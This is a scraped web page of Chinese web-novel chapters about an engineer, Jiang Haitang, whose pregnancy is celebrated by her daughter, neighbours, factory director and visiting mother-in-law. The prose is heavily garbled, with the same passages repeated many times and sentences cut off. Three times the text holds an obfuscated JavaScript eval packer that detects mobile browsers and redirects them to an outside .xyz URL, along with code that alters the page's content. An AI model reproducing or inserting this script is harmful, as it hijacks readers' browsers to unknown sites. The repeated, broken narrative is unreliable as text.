“你确定?”姜海棠颤抖着声音问。 “确定,我生了四个孩子呢,你这症状一看就是有了。”刘红梅笑容灿烂的不得了:“不过,你们还是去医院看看,保险一点。” 虽然说,大年初一去医院不好,但这是喜事啊,那就没关系了。 “红梅姐,你怎么来了?” “昨天晚上,几个娃回来说,你晕了,我想着大过年的不好过来,这不,今天一大早过来看看。” 因为今天是大年初一,刘红梅还特意拿了一瓶苹果罐头。 “也没什么,就是觉得恶心难受,人有点晕。”姜海棠让刘红梅坐下,给她倒了水,才说。 “是不是闻不了荤腥?”刘红梅又问。 只是,姜海棠没发现,刘红梅的眼睛里闪着光彩。 姜海棠点头:“是有一点,不过不是很严重,红梅姐,我这是咋了?” “这是好事儿啊,我觉得,你这是有了!”刘红梅就差鼓掌欢呼了。 陆良辰在一旁听到这话,难以置信。 这是啥意思? “刘主任,你说这个话,是什么意思?”陆良辰问道。 “还能是什么意思,你要当爸爸了。”刘红梅笑着说:“陆厂长,恭喜恭喜啊。” “你确定?”姜海棠颤抖着声音问。 “确定,我生了四个孩子呢,你这症状一看就是有了。”刘红梅笑容灿烂的不得了:“不过,你们还是去医院看看,保险一点。” 虽然说,大年初一去医院不好,但这是喜事啊,那就没关系了。 “红梅姐,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110400|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么来了?” “昨天晚上,几个娃回来说,你晕了,我想着大过年的不好过来,这不,今天一大早过来看看。” 因为今天是大年初一,刘红梅还特意拿了一瓶苹果罐头。 “也没什么,就是觉得恶心难受,人有点晕。”姜海棠让刘红梅坐下,给她倒了水,才说。 “是不是闻不了荤腥?”刘红梅又问。 只是,姜海棠没发现,刘红梅的眼睛里闪着光彩。 姜海棠点头:“是有一点,不过不是很严重,红梅姐,我这是咋了?” “这是好事儿啊,我觉得,你这是有了!”刘红梅就差鼓掌欢呼了。 陆良辰在一旁听到这话,难以置信。 这是啥意思? “刘主任,你说这个话,是什么意思?”陆良辰问道。 “还能是什么意思,你要当爸爸了。”刘红梅笑着说:“陆厂长,恭喜恭喜啊。” “你确定?”姜海棠颤抖着声音问。 “确定,我生了四个孩子呢,你这症状一看就是有了。”刘红梅笑容灿烂的不得了:“不过,你们还是去医院看看,保险一点。” 虽然说,大年初一去医院不好,但这是喜事啊,那就没关系了。 “红梅姐,你怎么来了?” “昨天晚上,几个娃回来说,你晕了,我想着大过年的不好过来,这不,今天一大早过来看看。” 因为今天是大年初一,刘红梅还特意拿了一瓶苹果罐头。 “也没什么,就是觉得恶心难受,人有点晕。”姜海棠让刘红梅坐下,给她倒了水,才说。 “是不是闻不了荤腥?”刘红梅又问。 只是,姜海棠没发现,刘红梅的眼睛里闪着光彩。 姜海棠点头:“是有一点,不过不是很严重,红梅姐,我这是咋了?” “这是好事儿啊,我觉得,你这是有了!”刘红梅就差鼓掌欢呼了。 陆良辰在一旁听到这话,难以置信。 这是啥意思? “刘主任,你说这个话,是什么意思?”陆良辰问道。 “还能是什么意思,你要当爸爸了。”刘红梅笑着说:“陆厂长,恭喜恭喜啊。” “你确定?”姜海棠颤抖着声音问。 “确定,我生了四个孩子呢,你这症状一看就是有了。”刘红梅笑容灿烂的不得了:“不过,你们还是去医院看看,保险一点。” 虽然说,大年初一去医院不好,但这是喜事啊,那就没关系了。 “红梅姐,你怎么来了?” “昨天晚上,几个娃回来说,你晕了,我想着大过年的不好过来,这不,今天一大早过来看看。” 因为今天是大年初一,刘红梅还特意拿了一瓶苹果罐头。 “也没什么,就是觉得恶心难受,人有点晕。”姜海棠让刘红梅坐下,给她倒了水,才说。 “是不是闻不了荤腥?”刘红梅又问。 只是,姜海棠没发现,刘红梅的眼睛里闪着光彩。 姜海棠点头:“是有一点,不过不是很严重,红梅姐,我这是咋了?” “这是好事儿啊,我觉得,你这是有了!”刘红梅就差鼓掌欢呼了。 陆良辰在一旁听到这话,难以置信。 这是啥意思? “刘主任,你说这个话,是什么意思?”陆良辰问道。 “还能是什么意思,你要当爸爸了。”刘红梅笑着说:“陆厂长,恭喜恭喜啊。” “你确定?”姜海棠颤抖着声音问。 “确定,我生了四个孩子呢,你这症状一看就是有了。”刘红梅笑容灿烂的不得了:“不过,你们还是去医院看看,保险一点。” 虽然说,大年初一去医院不好,但这是喜事啊,那就没关系了。 “红梅姐,你怎么来了?” “昨天晚上,几个娃回来说,你晕了,我想着大过年的不好过来,这不,今天一大早过来看看。” 因为今天是大年初一,刘红梅还特意拿了一瓶苹果罐头。 “也没什么,就是觉得恶心难受,人有点晕。”姜海棠让刘红梅坐下,给她倒了水,才说。 “是不是闻不了荤腥?”刘红梅又问。 只是,姜海棠没发现,刘红梅的眼睛里闪着光彩。 姜海棠点头:“是有一点,不过不是很严重,红梅姐,我这是咋了?” “这是好事儿啊,我觉得,你这是有了!”刘红梅就差鼓掌欢呼了。 陆良辰在一旁听到这话,难以置信。 这是啥意思? “刘主任,你说这个话,是什么意思?”陆良辰问道。 “还能是什么意思,你要当爸爸了。”刘红梅笑着说:“陆厂长,恭喜恭喜啊。” “你确定?”姜海棠颤抖着声音问。 “确定,我生了四个孩子呢,你这症状一看就是有了。”刘红梅笑容灿烂的不得了:“不过,你们还是去医院看看,保险一点。” 虽然说,大年初一去医院不好,但这是喜事啊,那就没关系了。 第277章 小桃子等于小喇叭 经过一番检查,医生笑着对他们说:“恭喜二位,这是有喜了,已经两个月了。” 姜海棠愣住了,陆良辰更是惊喜得说不出话来。 医生又叮嘱了一些注意事项,两人这才恍恍惚惚地走出医院。 回家的路上,陆良辰小心翼翼地扶着姜海棠,生怕她磕着碰着。 姜海棠好笑地看着他:“我还没那么娇弱呢。” 陆良辰却一脸严肃:“从现在开始,你只管好好休息。” 姜海棠心里甜滋滋的,故意逗他:“那要是我想吃好吃的,你会做吗?” 听到自家媳妇这话,陆良辰没忍住摸摸头。 “媳妇,我给你去食堂买,我给张师傅送礼,让他帮你做。” 姜海棠故意笑道:“可我想吃你做的,怎么办?” “棠棠,你这是为难我,真不是我不想给你做,你也知道,我在这个方面,属于天缺,我怕你吃了更难受。不过你放心,家里卫生我收拾,衣服我洗。” 姜海棠看着陆良辰如此为难的回答,没忍住噗嗤一声笑了。 “我知道的,你放心吧,我只是怀孕,又不是什么都不能干了,家里的家务,其他交给我,我做饭。” 陆良辰立即点头:“行,媳妇,洗菜摘菜我也干,你只需要做饭就行。” 两人相视一笑,几片零星的雪花落在他们的发梢,仿佛也在为这个好消息庆祝 回到家,小桃子已经等急了,扑上来问:“爸爸妈妈,你们去哪儿了?刘阿姨说有好事,是真的吗?” 陆良辰蹲下身,神秘地说:“小桃子,告诉你一个秘密,你要当姐姐了。” 小桃子眨巴着大眼睛,一时没反应过来:“姐姐?” 显然,小家伙没搞明白情况,她立即上上下下左左右右的围着陆良辰和姜海棠两个人开始搜寻起来。 “爸爸,我有小弟弟还是小妹妹了?在哪儿呢?我怎么看不到?” 小家伙找了好几圈,始终都没能够找到想象中的小娃娃,只能仰着小脑袋问。 姜海棠温柔地解释:“就是妈妈肚子里有了小宝宝,等过十个月之后,就会陪你一起玩。” 小桃子顿时欢呼起来:“太好了!我要告诉赵叔叔和小夏阿姨!还要告诉孔奶奶和刘阿姨,噢噢噢,我要有小弟弟了!” 看着女儿兴奋的样子,姜海棠和陆良辰相视一笑。 小丫头已经一蹦三跳地跑出去了。 “我还真怕小桃子不能接受有弟弟妹妹。”姜海 棠温婉地笑着说。 “不怕,我们小桃子是个聪明孩子。 小桃子像只胖胖的小蝴蝶,飞到了隔壁刘红梅家。 刘红梅正在厨房揉面,围裙上沾着面粉,听到大门被打开,朝着外面看去。 “刘阿姨!刘阿姨!小桃子踮着脚,脸蛋红扑扑的,“爸爸说,我妈妈肚子里有小宝宝啦!我要当姐姐啦! 刘红梅已经猜测到了姜海棠怀孕,但真的听到这个喜事,还是高兴得不得了。 她想抱着小桃子,又发现自己手上都是面粉。 不等她说话,孔大娘听到声音已经过来了。 “哎哟,这可是天大的喜事!孔大娘脸上都是笑:“红梅啊,你等下看看咱们家还有啥有营养的,给姜工送过去,姜工可是咱们厂里的有功之臣啊! “娘,您说的是,她身体一直不好,得好好补补才行。刘红梅立即答应下来。 这一年多时间,因为有了姜海棠不断改进机械和技术,厂里的效益好得不得了,他们的收入都在不断地增加,可以说,厂里家家户户的日子都好过了许多。 就连过年发福利,都是好东西,年货不用单独准备都可以。 小桃子高兴地咯咯笑,刘红梅把她放在凳子上,塞了块刚出锅的糖饼给她:“你先吃着,阿姨找点东西,咱们一起去看你妈妈。 刘红梅找营养品去了,小桃子和孔大娘热络地聊着天。 “小桃子啊,你爸爸高兴得不得了吧?孔大娘问。 小桃子立即点头:“是的,我爸爸可高兴了,走路都这样扶着我妈妈。 小家伙学着陆良辰小心翼翼的样子,逗得孔大娘哈哈大笑。 刘红梅回来了,手里拿着一罐麦乳精,一斤红糖,还有几张票。 “娘,我送这些过去吧。 “成,你先给送过去,我做点好吃的,也给送过去。孔大娘乐呵呵地说着:“平日里,小姜没少帮着咱们家,这种时候,咱们得帮着照顾照顾。陆厂长一个大男人,也不会做饭,辛苦嘞。 这时,小桃子已经吃完糖饼了,她不打算等刘红梅,而是迈着小短腿又朝着外面跑了。 “小桃子,你慢点,路上有冰溜子。刘红梅忙高声喊着,可小桃子才不管,很快跑远了。 刘红梅立即跟着跑出去,就看到小桃子正好站在赵凯院子门口,和康小夏说话呢。 “小夏阿姨!告诉你一个好消息喔,我要当姐姐啦!小桃子故作神秘地说道。 “真的?天呐这可真是个好消息!”康小夏一把抱起小桃子就朝着姜海棠家里走去。 正好看到刘红梅问道:“刘主任您也来看海棠姐?” 她说完话才看到刘红梅手里拎着东西才想起来自己竟然是空着手来的。 可她住在集体宿舍也没准备年货要不现在去百货商店一趟看看能买点啥? “小桃子小夏阿姨带着你去百货商店好不好啊?” 虽然小桃子不大理解为什么小夏阿姨都走到自己家门口了又要去百货商店但她觉得能去百货商店挺好的。 “好我们去百货商店。” 康小夏抱着小桃子转身就走走了不多远看到了赵凯赵凯听说姜海棠怀孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然她给机械厂提供了不少的图纸和技术,可是,其他事为机械厂做的并不多,最起码和纺织厂比起来,少了太多。 “良辰,我想着和**厂长商量一下,把钢铁厂那边的工作辞了,我这个身体,以后只怕不能兼顾。” 姜海棠和陆良辰商量着,毕竟,以后,她不可能有太多的精力投入在工作上。 “我回头送你去一趟机械厂,辞了也好,我也不想你太辛苦。” 两口子商量好了之后,就去了机械厂一趟。 **厂长看到姜海棠的时候,立即站起来说道:“哎呀,海棠同志,你怎么来了?你要是有什么事儿,打个电话过来说就行,就算打电话说不清楚,我过去也行!” 第278章 婆婆来了 “**厂长,是这样的,您也知道了,我现在的身体状况,只怕没有办法兼顾钢铁厂这边的工作,加上钢铁厂这边的技术力量现在也是足够的,我想着,辞了这边的工作。” “这话你可不能再说了,海棠同志,你这是打我的脸呢?虽然你是我们厂里的兼职工作人员,可是,你这一年多时间,可给我们厂里创造了不少效益。” **厂长立即提出反对意见,坚决表示不同意。 “别的不说,前后三次广交会,你帮我们创汇比起之前十年还多。加上你给我们提供的机械图纸,我们机械厂未来十年都能支撑下去,我们怎么能因为你怀孕,就让你辞职?” 其实,最开始他们弄了个兼职的人员过来,厂里有一部分人是有意见的。 可是后来,随着姜海棠不断地给厂里创造效益,工人们也算看明白了,姜海棠同志虽然是兼职,但作用可比一个全职的人要大得多。 “还有我们厂里的好些人,都是你指点过的,海棠啊,你可不能因为怀孕就不管我们机械厂了。”**厂长一副被人抛弃的样子,随即看向陆良辰:“是不是你小子的主意?一定是你,你就是不想让给海棠同志照顾我们机械厂,是不是因为这两次广交会,我们机械厂的成交额都比你们纺织厂高?” **厂长越想,越觉得就是这个原因。 陆良辰实在是有些冤,毕竟这真的是海棠自己的想法,而不是他的意见。 再说关于成交额这个问题,纺织厂的商品价值原本就不如机械厂高,机械厂一件大型机械,比得上纺织厂一批产品了,成交额根本不能相比。 “你可别冤枉我,是海棠想好好养身体,所以才想辞了这个工作的。” “海棠啊,你想休息就休息,机械厂靠着你提供的图纸,暂时没有问题,你安心养身体,等生了孩子之后,再上班就行!这期间工资待遇都不变。” 姜海棠忙说:“这可不行,厂里人有意见了。” “我要是真的放你辞职,厂里人才有意见呢。”**厂长坚决不同意。 开玩笑,放了姜海棠这样的人才离开,才是机械厂真正的损失。 别的且不说,姜海棠一年能给他们提供一张或者两张更加先进的机械图纸,机械厂就赚大了。 就别说这一年多,姜海棠给机械厂已经提供了六款先进的机械了,光是这六款机械,他们就能吃上好些年的老本饿不**。 最终,姜海棠也没有能够顺利辞职,反而是机械厂这边又前后送了好些营养品过来给姜 海棠,让她好好养身体。 对此,姜海棠有些于心不安,但陆良辰说:“既然**厂长不同意,那你就别操心了,再说了,你对机械厂确实有功劳,不用觉得受之有愧。” 没过多久,一封电报从京城飞到了金城。 陆良辰拆开一看,脸上是掩不住的喜悦:“棠棠,妈要来了!” 姜海棠以为,知道自己怀孕的消息,婆家人应该会寄东西过来,却没想到婆婆会亲自过来一趟。 毕竟,婆婆是有工作的人,且是对工作很敬业的人,怎么可能请假来金城看她? 两天后,金城火车站。 陆良围着厚厚的围巾,紧紧牵着穿得厚厚实实、同样围着围巾的姜海棠,怀里抱着兴奋的不得了的小桃子在站台上张望。 裹胁着西北风沙的绿皮火车缓缓进站,车门打开,人流涌出。 很快,一个熟悉的身影出现在车厢门口。 何婉仪穿着深蓝色的呢子外套,围着灰色的羊毛围巾,头发梳得一丝不苟,手里提着一个鼓鼓囊囊大大的旅行包和一个沉甸甸的网兜,网兜里塞满了各种瓶瓶罐罐和纸包。 “妈!”陆良辰赶紧迎上去接过行李。 “良辰!海棠!”何婉仪的目光第一时间就落在了儿子身边的姜海棠身上,快步走过来,一把握住姜海棠的手,上下仔细打量着,眼中是毫不掩饰的关切和喜悦。 “奶奶,奶奶!”小桃子看到奶奶的目光看向姜海棠,立即找存在感。 “哎哟,我的大孙女又长高了!想奶奶没?给奶奶看看,嗯,越来越漂亮了。” 虽然想先看看姜海棠,但何婉仪显然知道,小桃子这小家伙也需要安抚,她蹲下身,亲昵地捏了捏小桃子的脸蛋。 果然,得了奶奶的夸奖,小桃子得意了。 “小桃子想奶奶了!奶奶,有个好消息哦,妈妈肚子里有小宝宝了!” 小桃子迫不及待地宣布这个她认为全世界最好的消息。 “知道啦!我们小桃子要当姐姐了,是不是啊。”何婉仪笑得合不拢嘴,给了小桃子两颗大白兔奶糖后,看向姜海棠。 “海棠!让妈看看!身子怎么样?反应大不大?这西北的天气,可还适应?工作是不是太辛苦了?”何婉仪的关切之意急切而温暖。 “妈,您路上辛苦了。咱们先回家,等到了家里慢慢说好不好?” 何婉仪点头同意。 几个人到了车站外面上了车,小桃子窝在何婉仪的怀里,一张小嘴儿就没停过的说话 。 又是问候家里其他人,又是诉说自己的思念之情,总之,忙得很。 “你哥哥们也想你了,闹腾着要跟着我一起来。” 小桃子听何婉仪这么说,看着她的目光里充满了疑问,似乎在问,既然这样,为什么不带着哥哥们一起来。 而何婉仪显然看懂了孙女儿的意思,笑着说:“你几个哥哥都是皮猴子,带着他们我可不敢。” 小桃子有点失望,可还是小大人一样地点头说:“嗯,奶奶说得对,哥哥们都是皮猴子。” 被小孙女儿这话逗笑的何婉仪吧唧亲了小桃子一口之后说道:“还是我们家小桃子乖巧可爱!” 小吴在开车,他听说陆厂长的母亲要来的时候,其实是有些忐忑的,虽然听说陆家人对姜工都很满意,可他觉得,这份满意只怕是美化过的。 要不,陆家那样能耐,为什么陆厂长要带着姜工留在金城受苦? 但现在看到了,才相信,陆厂长的母亲真的是个十分温婉大气的人,不光对姜工这个儿媳妇好,就是对小桃子这个收养的孙女儿,也是真心疼爱的。 他总算能放心了。 回到家里,姜海棠给何婉仪倒水,何婉仪忙让她坐下自己来。 “海棠啊,你不用操心我,我这么大的人了,还不会自己照顾自己?” “妈,你也坐,我给你倒水,放点玫瑰酱,您尝尝,肯定喜欢。” “玫瑰酱,就是你们寄回去的那种玫瑰酱?”何婉仪顺嘴问。 “是啊,我们厂里有角角落落都是玫瑰,院子里也种了两颗玫瑰,春天的时候,海棠摘了不少都做成了玫瑰酱。” 做玫瑰酱需要白糖,因此,并不是每个家庭都会摘玫瑰做玫瑰酱的。 也就是他们两个待遇高,才舍得拿出白糖做玫瑰酱。 “味道确实很好,大夫说,养气血,海棠也可以冲水喝。” 姜海棠点点头,应下。 “妈,其实我挺好的,反应不大,就是偶尔有点犯懒。同事都很照顾,让我多休息。”姜海棠笑着回答,心里暖暖的。 “那就好,那就好!你是工程师,费脑子,现在更要当心!” 稍微休息了一下之后,何婉仪顾不上旅途疲惫,立刻像个指挥官一样开始“视察”工作。 她仔细看了看屋里的炉火够不够旺,检查了窗户的密封条,又摸了摸炕的温度,嘴里不住念叨:“这西北的天气寒冷,可不能冻着,尤其是你现在是两个人,更要注意。” 她打开那个巨大的旅行包和网兜,里面简直像个小型百货商店,有京城**的全脂奶粉、珍贵的麦乳精、几瓶贴着外文标签的鱼肝油、甚至还有一大块腊肉和一包北京果脯。 “这都是你爷爷、你爸,还有你大哥大嫂、二叔二婶和姑姑他们,知道信儿后紧赶慢赶凑的票、托人买的。” 看着堆满桌子的心意,姜海棠眼眶有些湿润:“妈,等您回去了,代我们谢谢他们,太让你们费心了。” “一家人说什么两家话!”何婉仪摆摆手,“还有这些,海棠,是你爷爷给我让我捎给你的。老爷子听说你怀孕了,正在想法子要来金城。” 听到自家爷爷要来金城,姜海棠立即开始担心了。 “爷爷身体不好,怎么可以这么长途奔波?” “谁说不是呢,好说歹说劝住了,不过,家里商量了一下,就让你们小夫妻这么在外面也不行,等过完年,就想办法给你们调动工作。” “我只能住几天时间就要回去,等我回去后,良辰,家里家外的活儿,你得多担待!别让海棠累着碰着。” “你是个手笨的,做饭太难吃,就让海棠在厂里食堂吃,实在不想吃食堂,不行就找人来照顾,钱和票不够,妈这儿有。” 被何婉仪这么一提醒,陆良辰想起来了,确实可以找个人来照顾姜海棠。 “妈,亏得您提醒,我这就物色一个人照顾海棠。” “有合适的人选吗?人要稳妥老实的才行。”何婉仪叮嘱。 “妈,真不用,我能行!”姜海棠忙推辞。 开玩笑,自己就是怀孕而已,不用这样如临大敌,还专门找人照顾,不被人指责才怪。 “你们小两口自己商量,就算现在不找人,过几个月,等你月份大了,也得找人照顾才行,我们争取早些把你们调回去,但这事儿也不是一蹴而就的,尤其是良辰的工作……” 姜海棠倒是好说,接收单位是有的,但陆良辰这个位置,去了京城十有**又要从头开始。 她打开那个巨大的旅行包和网兜,里面简直像个小型百货商店,有京城**的全脂奶粉、珍贵的麦乳精、几瓶贴着外文标签的鱼肝油、甚至还有一大块腊肉和一包北京果脯。 “这都是你爷爷、你爸,还有你大哥大嫂、二叔二婶和姑姑他们,知道信儿后紧赶慢赶凑的票、托人买的。” 看着堆满桌子的心意,姜海棠眼眶有些湿润:“妈,等您回去了,代我们谢谢他们,太让你们费心了。” “一家人说什么两家话!”何婉仪摆摆手,“还有这些,海棠,是你爷爷给我让我捎给你的。老爷子听说你怀孕了,正在想法子要来金城。” 听到自家爷爷要来金城,姜海棠立即开始担心了。 “爷爷身体不好,怎么可以这么长途奔波?” “谁说不是呢,好说歹说劝住了,不过,家里商量了一下,就让你们小夫妻这么在外面也不行,等过完年,就想办法给你们调动工作。” “我只能住几天时间就要回去,等我回去后,良辰,家里家外的活儿,你得多担待!别让海棠累着碰着。” “你是个手笨的,做饭太难吃,就让海棠在厂里食堂吃,实在不想吃食堂,不行就找人来照顾,钱和票不够,妈这儿有。” 被何婉仪这么一提醒,陆良辰想起来了,确实可以找个人来照顾姜海棠。 “妈,亏得您提醒,我这就物色一个人照顾海棠。” “有合适的人选吗?人要稳妥老实的才行。”何婉仪叮嘱。 “妈,真不用,我能行!”姜海棠忙推辞。 开玩笑,自己就是怀孕而已,不用这样如临大敌,还专门找人照顾,不被人指责才怪。 “你们小两口自己商量,就算现在不找人,过几个月,等你月份大了,也得找人照顾才行,我们争取早些把你们调回去,但这事儿也不是一蹴而就的,尤其是良辰的工作……” 姜海棠倒是好说,接收单位是有的,但陆良辰这个位置,去了京城十有**又要从头开始。 她打开那个巨大的旅行包和网兜,里面简直像个小型百货商店,有京城**的全脂奶粉、珍贵的麦乳精、几瓶贴着外文标签的鱼肝油、甚至还有一大块腊肉和一包北京果脯。 “这都是你爷爷、你爸,还有你大哥大嫂、二叔二婶和姑姑他们,知道信儿后紧赶慢赶凑的票、托人买的。” 看着堆满桌子的心意,姜海棠眼眶有些湿润:“妈,等您回去了,代我们谢谢他们,太让你们费心了。” “一家人说什么两家话!”何婉仪摆摆手,“还有这些,海棠,是你爷爷给我让我捎给你的。老爷子听说你怀孕了,正在想法子要来金城。” 听到自家爷爷要来金城,姜海棠立即开始担心了。 “爷爷身体不好,怎么可以这么长途奔波?” “谁说不是呢,好说歹说劝住了,不过,家里商量了一下,就让你们小夫妻这么在外面也不行,等过完年,就想办法给你们调动工作。” “我只能住几天时间就要回去,等我回去后,良辰,家里家外的活儿,你得多担待!别让海棠累着碰着。” “你是个手笨的,做饭太难吃,就让海棠在厂里食堂吃,实在不想吃食堂,不行就找人来照顾,钱和票不够,妈这儿有。” 被何婉仪这么一提醒,陆良辰想起来了,确实可以找个人来照顾姜海棠。 “妈,亏得您提醒,我这就物色一个人照顾海棠。” “有合适的人选吗?人要稳妥老实的才行。”何婉仪叮嘱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120095|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “妈,真不用,我能行!”姜海棠忙推辞。 开玩笑,自己就是怀孕而已,不用这样如临大敌,还专门找人照顾,不被人指责才怪。 “你们小两口自己商量,就算现在不找人,过几个月,等你月份大了,也得找人照顾才行,我们争取早些把你们调回去,但这事儿也不是一蹴而就的,尤其是良辰的工作……” 姜海棠倒是好说,接收单位是有的,但陆良辰这个位置,去了京城十有**又要从头开始。 她打开那个巨大的旅行包和网兜,里面简直像个小型百货商店,有京城**的全脂奶粉、珍贵的麦乳精、几瓶贴着外文标签的鱼肝油、甚至还有一大块腊肉和一包北京果脯。 “这都是你爷爷、你爸,还有你大哥大嫂、二叔二婶和姑姑他们,知道信儿后紧赶慢赶凑的票、托人买的。” 看着堆满桌子的心意,姜海棠眼眶有些湿润:“妈,等您回去了,代我们谢谢他们,太让你们费心了。” “一家人说什么两家话!”何婉仪摆摆手,“还有这些,海棠,是你爷爷给我让我捎给你的。老爷子听说你怀孕了,正在想法子要来金城。” 听到自家爷爷要来金城,姜海棠立即开始担心了。 “爷爷身体不好,怎么可以这么长途奔波?” “谁说不是呢,好说歹说劝住了,不过,家里商量了一下,就让你们小夫妻这么在外面也不行,等过完年,就想办法给你们调动工作。” “我只能住几天时间就要回去,等我回去后,良辰,家里家外的活儿,你得多担待!别让海棠累着碰着。” “你是个手笨的,做饭太难吃,就让海棠在厂里食堂吃,实在不想吃食堂,不行就找人来照顾,钱和票不够,妈这儿有。” 被何婉仪这么一提醒,陆良辰想起来了,确实可以找个人来照顾姜海棠。 “妈,亏得您提醒,我这就物色一个人照顾海棠。” “有合适的人选吗?人要稳妥老实的才行。”何婉仪叮嘱。 “妈,真不用,我能行!”姜海棠忙推辞。 开玩笑,自己就是怀孕而已,不用这样如临大敌,还专门找人照顾,不被人指责才怪。 “你们小两口自己商量,就算现在不找人,过几个月,等你月份大了,也得找人照顾才行,我们争取早些把你们调回去,但这事儿也不是一蹴而就的,尤其是良辰的工作……” 姜海棠倒是好说,接收单位是有的,但陆良辰这个位置,去了京城十有**又要从头开始。 她打开那个巨大的旅行包和网兜,里面简直像个小型百货商店,有京城**的全脂奶粉、珍贵的麦乳精、几瓶贴着外文标签的鱼肝油、甚至还有一大块腊肉和一包北京果脯。 “这都是你爷爷、你爸,还有你大哥大嫂、二叔二婶和姑姑他们,知道信儿后紧赶慢赶凑的票、托人买的。” 看着堆满桌子的心意,姜海棠眼眶有些湿润:“妈,等您回去了,代我们谢谢他们,太让你们费心了。” “一家人说什么两家话!”何婉仪摆摆手,“还有这些,海棠,是你爷爷给我让我捎给你的。老爷子听说你怀孕了,正在想法子要来金城。” 听到自家爷爷要来金城,姜海棠立即开始担心了。 “爷爷身体不好,怎么可以这么长途奔波?” “谁说不是呢,好说歹说劝住了,不过,家里商量了一下,就让你们小夫妻这么在外面也不行,等过完年,就想办法给你们调动工作。” “我只能住几天时间就要回去,等我回去后,良辰,家里家外的活儿,你得多担待!别让海棠累着碰着。” “你是个手笨的,做饭太难吃,就让海棠在厂里食堂吃,实在不想吃食堂,不行就找人来照顾,钱和票不够,妈这儿有。” 被何婉仪这么一提醒,陆良辰想起来了,确实可以找个人来照顾姜海棠。 “妈,亏得您提醒,我这就物色一个人照顾海棠。” “有合适的人选吗?人要稳妥老实的才行。”何婉仪叮嘱。 “妈,真不用,我能行!”姜海棠忙推辞。 开玩笑,自己就是怀孕而已,不用这样如临大敌,还专门找人照顾,不被人指责才怪。 “你们小两口自己商量,就算现在不找人,过几个月,等你月份大了,也得找人照顾才行,我们争取早些把你们调回去,但这事儿也不是一蹴而就的,尤其是良辰的工作……” 姜海棠倒是好说,接收单位是有的,但陆良辰这个位置,去了京城十有**又要从头开始。 她打开那个巨大的旅行包和网兜,里面简直像个小型百货商店,有京城**的全脂奶粉、珍贵的麦乳精、几瓶贴着外文标签的鱼肝油、甚至还有一大块腊肉和一包北京果脯。 “这都是你爷爷、你爸,还有你大哥大嫂、二叔二婶和姑姑他们,知道信儿后紧赶慢赶凑的票、托人买的。” 看着堆满桌子的心意,姜海棠眼眶有些湿润:“妈,等您回去了,代我们谢谢他们,太让你们费心了。” “一家人说什么两家话!”何婉仪摆摆手,“还有这些,海棠,是你爷爷给我让我捎给你的。老爷子听说你怀孕了,正在想法子要来金城。” 听到自家爷爷要来金城,姜海棠立即开始担心了。 “爷爷身体不好,怎么可以这么长途奔波?” “谁说不是呢,好说歹说劝住了,不过,家里商量了一下,就让你们小夫妻这么在外面也不行,等过完年,就想办法给你们调动工作。” “我只能住几天时间就要回去,等我回去后,良辰,家里家外的活儿,你得多担待!别让海棠累着碰着。” “你是个手笨的,做饭太难吃,就让海棠在厂里食堂吃,实在不想吃食堂,不行就找人来照顾,钱和票不够,妈这儿有。” 被何婉仪这么一提醒,陆良辰想起来了,确实可以找个人来照顾姜海棠。 “妈,亏得您提醒,我这就物色一个人照顾海棠。” “有合适的人选吗?人要稳妥老实的才行。”何婉仪叮嘱。 “妈,真不用,我能行!”姜海棠忙推辞。 开玩笑,自己就是怀孕而已,不用这样如临大敌,还专门找人照顾,不被人指责才怪。 “你们小两口自己商量,就算现在不找人,过几个月,等你月份大了,也得找人照顾才行,我们争取早些把你们调回去,但这事儿也不是一蹴而就的,尤其是良辰的工作……” 姜海棠倒是好说,接收单位是有的,但陆良辰这个位置,去了京城十有**又要从头开始。 第279章 爷爷的病 何婉仪的话让屋里一时安静下来。 陆良辰握住姜海棠的手,笑着说:“妈,您别操心这个。我在哪儿干都一样,只要能和海棠在一起就行。” 姜海棠却摇摇头:“良辰,不行,虽然在哪儿干都一样,可我不希望你委屈自己,你应该配得上更好的未来。” “海棠,我不在意,如果在意,就不会从部队上退下来。”陆良辰当初从部队退下来的时候,其实已经做好了放弃一切的准备。 现在能当厂长,做点真正的事都已经是意外了。 何婉仪看着姜海棠,想了好一会儿,缓缓开口:“海棠啊,其实还有件事,你爷爷不让我跟你说,可是我觉得,应该对你说。” 姜海棠听到爷爷两个字的时候,心里咯噔一下:“妈,我爷爷怎么样了?您可不能瞒着我!” “你爷爷的身体不太好,医生说,年轻的时候落下的病根,需要找中医大夫好生调养,可现在,好的中医大夫,哪里找啊!” “正好,前几天有人给我推荐了一个大夫,就在咱们金城,我回头去拜访一下,看看能不能请到京城去,给爷爷看看。”陆良辰立即说。 姜国柱可是姜海棠唯一的亲人了,不管怎么样,都要让老爷子多活一段时间。 “只怕专属医生不愿意。”何婉仪摇摇头:“前几日医院的大夫说起吃中药,他还嗤之以鼻。” 到了陆老爷子和姜老爷子这个级别,都是有专属医生的,姜老爷子那个医生,看不起中医大夫,只怕不会愿意让姜老爷子吃中药。 